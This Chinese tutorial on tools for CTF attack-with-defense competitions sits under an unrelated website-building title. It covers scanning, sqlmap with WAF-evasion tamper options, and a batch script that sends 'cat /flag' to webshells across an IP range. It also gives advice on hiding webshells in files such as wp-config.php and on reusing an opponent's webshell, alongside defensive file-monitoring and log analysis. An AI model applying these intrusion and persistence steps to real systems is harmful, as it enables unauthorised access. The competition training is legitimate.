企业官网建设流程全解析

简介：这份资源是面向CTF竞赛选手与安全爱好者的AWD攻防对抗工具合集，聚焦比赛中常见的防护、流量监控与自动化提交等实战环节，适合已具备一定Web安全基础、希望提升赛场效率的中高级参赛者。压缩包共52个文件，约11.89MB，以PHP脚本、Python程序、DLL动态库、可执行文件及JavaScript为主，另含少量Markdown说明、Shell脚本与前端样式资源，覆盖WAF防护、日志分析、规则配置等模块。目录中可见D_Safe防护组件、pyinotify文件监控、Web日志安全分析工具及自动提交Flag脚本等，配合AttackRules规则文件与模板，便于快速搭建赛场防护与监控环境。目前已有507人学习下载，可作为AWD备赛的参考工具集，帮助读者理解攻防对抗中的防护思路、日志审计方法与自动化流程，并据此整理自己的比赛工具箱。

1. 从一份 AWD 工具包说起：攻防现场到底需要什么

打过 CTF AWD（Attack With Defense）的人都有个共同记忆：比赛开始前 10 分钟，别人还在解压环境、配 SSH、找 flag 提交入口，你这边已经用一套顺手的工具把靶机端口、Web 目录、数据库账号摸了个遍。AWD 和解题赛最大的区别在于——它是实时对抗，攻防同时进行，你既要守住自己的服务不被拿 flag，又要在别人服务器上抢分。这种节奏下，工具不是锦上添花，而是决定你能不能在第一轮就拿到分的关键。

一份典型的「CTF AWD 比赛工具收集.zip」里，通常塞满了各类脚本、二进制、字典和配置模板。但很多人拿到压缩包后的第一反应是懵的：这么多东西，哪些是开局必用的？哪些是后期才需要的？Web 题和 Pwn 题的工具能混着用吗？这篇笔记就按 AWD 的实际攻防流程，把工具包里的东西拆开讲清楚——从开局信息收集到自动化批量利用，再到防守加固和流量分析，每一步该用什么、参数怎么调、哪里容易翻车。适合刚接触 AWD 想快速上手的新手，也适合打了几年但工具链一直没理顺的老手。

2. AWD 工具链的分层逻辑：先搞清楚你在哪个阶段用哪把刀

AWD 比赛的节奏非常固定：开局信息收集 → 漏洞利用拿 flag → 提交得分 → 修补自身漏洞 → 监控异常流量。每个阶段需要的工具类型完全不同，如果混着用，轻则效率低下，重则把攻击流量打到自家服务器上。所以第一步不是急着跑脚本，而是把工具按阶段分层。

2.1 信息收集层：端口、目录、指纹三件套

开局前 5 分钟是黄金时间。你需要快速知道对手开了哪些端口、跑了什么服务、Web 根目录下有什么。这一层常用的工具包括端口扫描器、目录爆破脚本和指纹识别工具。很多 AWD 工具包里会带一个scan.py或info_gather.sh，核心逻辑就是调nmap或masscan扫端口，再用dirsearch或gobuster跑目录。

# 快速端口扫描，只扫常见 Web 和数据库端口 nmap -sS -p 80,443,8080,3306,6379,22,21 --open -T4 192.168.1.0/24 -oG scan_result.txt # 对开放 80 端口的机器跑目录爆破 dirsearch -u http://192.168.1.10 -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt -t 30

-sS是 SYN 半开扫描，速度快且不容易被日志记录；-T4是时序模板，AWD 内网环境延迟低，用 T4 足够。dirsearch的-t 30表示 30 个线程，内网可以再调高到 50，但别超过 100，否则容易把靶机打挂。扫出来的结果直接存文件，后面写自动化脚本时可以直接读。

这一层最容易踩的坑是扫描范围搞错。AWD 通常给你一个 192.168.x.0/24 的网段，但你的靶机可能只是其中几台。如果全段扫，一是浪费时间，二是可能扫到裁判机或其他队伍的蜜罐。常见做法是先扫自己队伍的靶机确认服务正常，再扫对手网段。

2.2 漏洞利用层：Web 打点与 Pwn 拿 shell 的工具分叉

信息收集完，接下来就是拿 flag。Web 方向主要靠 SQL 注入、文件上传、命令执行这些漏洞，工具包里通常会有sqlmap、webshell管理工具、以及针对特定 CMS 的 EXP 脚本。Pwn 方向则需要pwntools、ROPgadget、one_gadget这些。

# 用 pwntools 连接远程靶机并发送 payload 的典型模板 from pwn import * context.log_level = 'debug' context.arch = 'amd64' io = remote('192.168.1.10', 9999) payload = b'A' * 0x20 + p64(0xdeadbeef) io.sendlineafter(b'input:', payload) io.interactive()

context.log_level = 'debug'在调试阶段很有用，能看到收发的原始数据；但比赛时建议改成'info'，否则输出太多会拖慢速度。sendlineafter比sendline更稳，因为它会等目标提示符出现再发，避免时序问题。

Web 方向有个血泪经验：别一上来就上sqlmap的--level=5 --risk=3，AWD 的数据库往往很小，高等级扫描又慢又容易被 WAF 拦。先用--level=2 --risk=1快速过一遍，确认有注入再针对性调参。另外，很多 AWD 题目会改数据库表名和列名，sqlmap的--tables和--columns要配合--dump一起用，别只跑--dbs就停了。

2.3 防守与流量层：修漏洞和看日志的工具

拿分的同时，你自己的服务也在被人打。防守层工具主要包括：WAF 脚本（比如用 Python 写的简单流量过滤）、文件监控脚本（监控 Web 目录是否被上传 webshell）、以及日志分析工具。

# 简易文件监控脚本，监控 Web 目录新增文件 import os, time, hashlib WATCH_DIR = '/var/www/html' known = {} def snapshot(): for root, dirs, files in os.walk(WATCH_DIR): for f in files: path = os.path.join(root, f) known[path] = hashlib.md5(open(path, 'rb').read()).hexdigest() snapshot() while True: time.sleep(5) for root, dirs, files in os.walk(WATCH_DIR): for f in files: path = os.path.join(root, f) if path not in known: print(f'[!] 新增文件: {path}') else: h = hashlib.md5(open(path, 'rb').read()).hexdigest() if h != known[path]: print(f'[!] 文件被修改: {path}') snapshot()

这个脚本每 5 秒扫一次 Web 目录，发现新增或修改就告警。hashlib.md5用来比对内容变化，比单纯看文件名靠谱。实际比赛中可以把它挂到后台，输出重定向到日志文件，再配合tail -f实时看。

防守层最容易被忽略的是「自己修漏洞时把服务修挂了」。常见做法是改配置前先备份，改完立刻curl一下确认服务正常。如果用了 WAF 脚本，一定要先在自己的测试环境跑一遍，确认不会误拦正常请求。

3. 把工具包跑起来：从解压到第一轮拿分的完整操作

工具包拿到手，别急着全解压。先看目录结构，通常会有web/、pwn/、misc/、defense/几个子目录。按比赛类型挑对应的用，AWD 主要看web/和defense/。

3.1 环境准备：Python 依赖和权限配置

大部分脚本是 Python 写的，先确认版本和依赖。常见依赖包括requests、pwntools、paramiko（SSH 连接）、flask（起本地服务）。

# 创建虚拟环境并安装常用依赖 python3 -m venv awd_env source awd_env/bin/activate pip install requests pwntools paramiko flask redis pymysql # 给所有 .sh 脚本加执行权限 chmod +x *.sh

用虚拟环境是为了避免污染系统 Python，AWD 比赛时经常需要临时装包，虚拟环境里随便折腾。paramiko是用来批量 SSH 连接靶机的，很多 AWD 工具包里的auto_ssh.py就靠它。

提示：如果比赛环境不能联网，提前把pip包下载成whl文件，用pip install --no-index --find-links=./whl离线安装。

3.2 批量操作脚本：同时打多台靶机的写法

AWD 通常要同时面对多台对手靶机，手动一台台打根本不现实。工具包里一般会有batch_attack.py这类脚本，核心是用多线程或协程并发请求。

import requests from concurrent.futures import ThreadPoolExecutor TARGETS = [f'http://192.168.1.{i}' for i in range(10, 20)] PAYLOAD = {'cmd': 'cat /flag'} def attack(url): try: r = requests.post(url + '/shell.php', data=PAYLOAD, timeout=3) if 'flag{' in r.text: print(f'[+] {url} 拿到 flag: {r.text[:100]}') return r.text except Exception as e: print(f'[-] {url} 失败: {e}') return None with ThreadPoolExecutor(max_workers=10) as pool: results = pool.map(attack, TARGETS)

ThreadPoolExecutor的max_workers=10表示同时打 10 台，内网环境可以调到 20，但别太高，否则本机网络先扛不住。timeout=3是必须的，AWD 里有些靶机被打挂后不响应，没超时设置会卡死整个脚本。

这个脚本的关键在于PAYLOAD要提前根据漏洞类型改好。如果是命令执行，用cmd参数；如果是文件包含，改成file参数。别指望一个脚本通吃所有题。

3.3 flag 提交与自动化：别让手速拖后腿

拿到 flag 后要尽快提交到计分板。很多 AWD 平台有提交接口，工具包里通常会有submit.py。

import requests FLAG = 'flag{test_flag_here}' SUBMIT_URL = 'http://scoreboard.example.com/api/submit' TOKEN = 'your_team_token' def submit(flag): r = requests.post(SUBMIT_URL, json={'flag': flag, 'token': TOKEN}) print(r.status_code, r.text) submit(FLAG)

TOKEN是队伍标识，比赛前会发。提交接口的字段名各平台不同，有的用flag，有的用answer，拿到工具包后先看submit.py里的字段定义，别直接跑。

注意：有些平台对提交频率有限制，比如每秒最多 5 次。批量提交时加个time.sleep(0.2)，否则会被封 IP。

4. 避坑与排查：AWD 工具链上最容易翻车的 5 个点

4.1 扫描把自家靶机打挂了

现象：跑完端口扫描或目录爆破后，自己的 Web 服务返回 502 或直接无响应。原因：扫描线程开太高，或者用了--script跑了一堆漏洞探测脚本，把靶机资源耗尽。解决：扫描前先确认目标列表，排除自家 IP。线程数控制在 30 以内，nmap别用-A全开，只扫必要端口。

4.2 sqlmap 跑太久错过拿分窗口

现象：sqlmap跑了 10 分钟还没出结果，别人已经提交好几轮 flag 了。原因：默认--level=1 --risk=1太保守，或者目标有 WAF 导致大量重试。解决：先用--level=2 --risk=1 --threads=5快速跑，确认注入点后加--technique=U（联合查询）或--technique=E（报错注入）提速。有 WAF 就上--tamper=space2comment。

4.3 webshell 被对手删了

现象：刚上传的 webshell，过两分钟就 404 了。原因：对手也在扫你的 Web 目录，发现异常文件直接删。解决：上传后立刻改文件名和内容，用.htaccess或index.php伪装。常见做法是把 webshell 内容插到正常文件里，比如wp-config.php末尾。

4.4 防守脚本误拦正常请求

现象：上了 WAF 脚本后，自己的服务访问也 403 了。原因：过滤规则太宽，把正常参数也拦了。解决：WAF 规则先设成「只记录不拦截」，观察 5 分钟日志，确认误报率低再开启拦截。关键词过滤别用eval、system这种太常见的词，容易误伤。

4.5 flag 提交格式不对白拿分

现象：明明拿到了 flag，提交却提示格式错误。原因：AWD 的 flag 通常有固定格式，比如flag{32位md5}，有些平台要求去掉flag{}只提交内部字符串。解决：比赛前先看平台文档或问裁判，确认提交格式。工具包里的submit.py如果有strip逻辑，检查它是不是把该留的字符也去掉了。

5. 进阶技巧：用日志和流量分析反打对手

打到中后期，光靠扫漏洞已经拿不到分了，这时候要看流量和日志找对手的利用痕迹，反过来堵他的路。AWD 工具包里通常会有tcpdump抓包脚本和日志分析脚本，但很多人不会用。

5.1 用 tcpdump 抓 HTTP 流量定位攻击 payload

# 抓 80 端口流量，保存到文件，每 100MB 轮转一次 tcpdump -i eth0 -s 0 -w /tmp/awd.pcap -C 100 port 80 # 实时分析抓到的包，只看 POST 请求 tcpdump -i eth0 -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

-C 100表示每 100MB 换一个文件，避免单个文件太大。第二条命令的过滤表达式是匹配 HTTP POST 请求的，0x504f5354就是POST的十六进制。抓到包后用strings或Wireshark分析，能看到对手发的 payload。

5.2 从 access.log 里提取攻击 IP 和 payload

# 提取所有包含 flag 的请求 grep 'flag' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn # 提取所有 POST 请求的 payload grep 'POST' /var/log/nginx/access.log | grep -oP 'POST \S+' | sort | uniq -c | sort -rn | head -20

第一条命令找出哪些 IP 在请求里带了flag，大概率是对手在提交或探测。第二条统计 POST 请求的 URL，出现次数多的可能是对手的 webshell 地址。找到后直接封 IP 或删文件。

5.3 用日志反打：把对手的 webshell 变成自己的

如果发现对手在你服务器上留了 webshell，别急着删。先看他的 webshell 有没有密码，有的话直接拿来用——他打你，你打他，AWD 就是这么玩的。常见做法是cat一下 webshell 内容，找到密码字段，然后用同样的密码去连他的机器。

# 查看可疑文件内容 cat /var/www/html/upload/shell.php # 如果发现密码是 'hack123'，直接用来连对手 curl 'http://192.168.1.20/upload/shell.php' -d 'pass=hack123&cmd=cat /flag'

这招的关键是快。对手发现你用了他的 webshell，可能会改密码或删文件，所以拿到后立刻批量打一遍所有对手 IP。

5.4 一个我常用的习惯

每次 AWD 比赛，我都会在开局前 5 分钟做三件事：把scan.py的目标列表改成对手网段、把submit.py的 token 填好、把文件监控脚本挂到后台。这三件事做完，后面就是机械操作了。工具包里的东西不用全用，挑顺手的几样，把参数调熟，比堆一堆脚本管用。希望帮到你。

本文还有配套的精品资源，点击获取